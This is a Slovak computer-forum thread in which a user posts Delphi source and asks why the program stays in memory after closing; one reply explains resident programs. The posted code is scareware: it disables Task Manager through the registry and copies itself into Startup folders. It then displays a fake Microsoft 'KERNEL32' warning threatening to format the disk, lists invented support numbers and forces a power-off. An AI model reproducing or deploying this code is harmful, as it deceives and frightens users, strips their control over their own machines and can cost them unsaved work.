[ Príspevkov: 3 ] 
AutorSpráva
Offline

Užívateľ
Užívateľ
Program bezi po aj zatvoreni v pamati

Registrovaný: 19.09.06
Prihlásený: 19.11.24
Príspevky: 749
Témy: 31 | 31
Bydlisko: Ružomberok&...

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, DjH, RobotUnit, StdCtrls, ExtCtrls, jpeg, ComObj, Adodb, registry;

type
TForm1 = class(TForm)
Image1: TImage;
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
procedure FormResize(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

function WindowsExit(RebootParam: Longword): Boolean;
var
TTokenHd: THandle;
TTokenPvg: TTokenPrivileges;
cbtpPrevious: DWORD;
rTTokenPvg: TTokenPrivileges;
pcbtpPreviousRequired: DWORD;
tpResult: Boolean;
const
SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
tpResult := OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
TTokenHd) ;
if tpResult then
begin
tpResult := LookupPrivilegeValue(nil,
SE_SHUTDOWN_NAME,
TTokenPvg.Privileges[0].Luid) ;
TTokenPvg.PrivilegeCount := 1;
TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
cbtpPrevious := SizeOf(rTTokenPvg) ;
pcbtpPreviousRequired := 0;
if tpResult then
Windows.AdjustTokenPrivileges(TTokenHd,
False,
TTokenPvg,
cbtpPrevious,
rTTokenPvg,
pcbtpPreviousRequired) ;
end;
end;
Result := ExitWindowsEx(RebootParam, 0) ;
end;

procedure TForm1.FormCreate(Sender: TObject);
var rest,restart,i:integer;
f:textfile;
reg:tregistry;
begin
CreateRegKey('Software\Microsoft\Windows\CurrentVersion\Policies\System','DisableTaskMgr','1',HKEY_CURRENT_USER);
form1.Visible:=false;
copyfile('project2.exe','D:\Documents and Settings\All Users.Windows\Start Menu\Programs\Startup\project2.exe',false);
copyfile('project2.exe','C:\Documents and Settings\All Users.Windows\Start Menu\Programs\Startup\project2.exe',false);
randomize;
reg.Rootkey:=HKEY_CURRENT_USER;
if not(reg.keyexists('licence')) then sleep(random(14400000));
reg.CreateKey('licence');
form1.Visible:=true;
form1.Height:=257;
form1.Width:=729;
opendrive;
memo1.Clear;
i:=61;
repeat
wait(1000);
memo1.clear;
memo1.lines.add('We are sorry for troubles with Windows XP.');
memo1.lines.add('You must insert the install CD with Windows XP into your CD drive.');
memo1.lines.add('KERNEL32 must be repaired from this CD.');
memo1.lines.add('If you don'+#39+'t do this, you are risking that KERNEL32 format your HDD and all your data will be deleted.');
dec(i);
memo1.lines.Add('You have '+inttostr(i)+' seconds to determine!');
until i=0;
closedrive;
memo1.Clear;
memo1.lines.add('Please phone to microsoft and say about this problem');
memo1.lines.Add('Microsoft support centers:');
memo1.lines.add('USA : 0800 426 365');
memo1.lines.add('EUROPE : 0800 256 416');
memo1.lines.Add('Australia : 0800 267 489');
memo1.Lines.Add('');
wait(250);
memo1.lines.add('We are sorry...');
memo1.lines.Add('Your HDD must be formatted.');
memo1.lines.Add('The system must be shut down to format HDD.');
memo1.lines.Add('The system is shutting down');
memo1.lines.add('This shutdown was initialized by KERNEL32');
DeleteRegKey('licence',HKEY_CURRENT_USER);
wait(3000);
windowsExit(EWX_POWEROFF);
end;

procedure TForm1.FormResize(Sender: TObject);
begin
form1.Height:=257;
form1.Width:=729;
end;

end.

Nevie mi niekto povedat, co sposobi, ze program bezi aj po zatvoreni?
Niezeby som sa stazoval, ale nebol to umysel.


Offline

Užívateľ
Užívateľ
Program bezi po aj zatvoreni v pamati

Registrovaný: 02.09.05
Prihlásený: 17.11.10
Príspevky: 154
Témy: 1 | 1

To znamena, ze je to rezident a teda sprava sa v podstate rovnako ako pred zatvorenim s tym rozdielom, ze v systeme je akoby "neviditelny"... Rezidenty su najcastejsie ovladace klavesnic a mys, teda tie potrebuju byt v systeme natrvalo...Samozrejme tuto vlastnost castokrat zneuzivaju aj virusy.


_________________
Múdry nie je ten, čo veľa vie, ale ten, kto vie, čo je treba. (Thomas Alva Edison)
Offline

Užívateľ
Užívateľ
Program bezi po aj zatvoreni v pamati

Registrovaný: 19.09.06
Prihlásený: 19.11.24
Príspevky: 749
Témy: 31 | 31
Bydlisko: Ružomberok&...
Napísal autor témyOffline : 31.01.2008 8:05 | Program bezi po aj zatvoreni v pamati

No dobre, ale co som zrobil a s akou funkciou, ze sa sprava ako rezidentny???


 [ Príspevkov: 3 ] 


Program bezi po aj zatvoreni v pamati



Podobné témy

 Témy  Odpovede  Zobrazenia  Posledný príspevok 
V tomto fóre nie sú ďalšie neprečítané témy.

Neznamy program,po spusteni bezi v CMDriadku

v Ostatné programy

1

255

02.05.2014 21:33

walther

V tomto fóre nie sú ďalšie neprečítané témy.

KM player v NB, problem po zatvoreni veka

v Video programy

4

466

03.09.2010 12:29

Johnnny

V tomto fóre nie sú ďalšie neprečítané témy.

Jak rychle vám běží EDGE?

v Siete

0

1005

03.08.2006 22:43

Dzin

V tomto fóre nie sú ďalšie neprečítané témy.

PC beží len 3 sekundy

v AMD čipové sady

5

435

08.02.2014 21:32

adamujhazi

V tomto fóre nie sú ďalšie neprečítané témy.

1600Mhz bezi len na 1067Mhz

v Pamäte

2

691

06.01.2011 10:30

MeMpHiS_979

V tomto fóre nie sú ďalšie neprečítané témy.

Stary cpu bezi, novy nie.

v AMD - Advanced Micro Devices

11

975

03.10.2007 23:11

hawo

V tomto fóre nie sú ďalšie neprečítané témy.

SLi hacknuté, beží na každej doske

v Novinky

2

839

24.09.2009 23:40

F!LL

V tomto fóre nie sú ďalšie neprečítané témy.

Co všechno Vám běží v systray??

[ Choď na stránku:Choď na stránku: 1, 2, 3 ]

v Operačné systémy Microsoft

68

5019

15.03.2006 23:10

Luks

V tomto fóre nie sú ďalšie neprečítané témy.

Gigabyte 7870 furt beží na 100%

v ATI/AMD grafické karty

2

526

04.11.2012 12:58

Martinicoss

V tomto fóre nie sú ďalšie neprečítané témy.

České Ministerstvo kultúry beží na nelegálnom softvér

v Novinky

7

731

12.12.2006 22:18

scooby

V tomto fóre nie sú ďalšie neprečítané témy.

Radeon 5850 podtaktovavanie ak bezi flash player

v ATI/AMD grafické karty

8

553

28.05.2012 15:02

mino_85

V tomto fóre nie sú ďalšie neprečítané témy.

PC Beží na 2 jadrách namiesto 4

v AMD - Advanced Micro Devices

3

448

15.03.2015 10:59

RRHRY10

V tomto fóre nie sú ďalšie neprečítané témy.

800mhz pamat a bezi na 700 ? zeby?

[ Choď na stránku:Choď na stránku: 1, 2 ]

v Pamäte

32

1513

18.09.2007 15:50

sairik

V tomto fóre nie sú ďalšie neprečítané témy.

Zistenie webserveru, na ktorom beží môj kód

v Webhosting a servery

0

380

16.12.2017 1:38

martinius96

V tomto fóre nie sú ďalšie neprečítané témy.

v PCI-E x16 bezi len x4

v nVidia grafické karty

4

621

30.12.2009 12:45

Cirky

V tomto fóre nie sú ďalšie neprečítané témy.

Problém s procesorom beží iba jedno jadro

v Intel - Integrated Electronics

15

1675

24.01.2011 19:47

eXistenZ



© 2005 - 2024 PCforum, edited by JanoF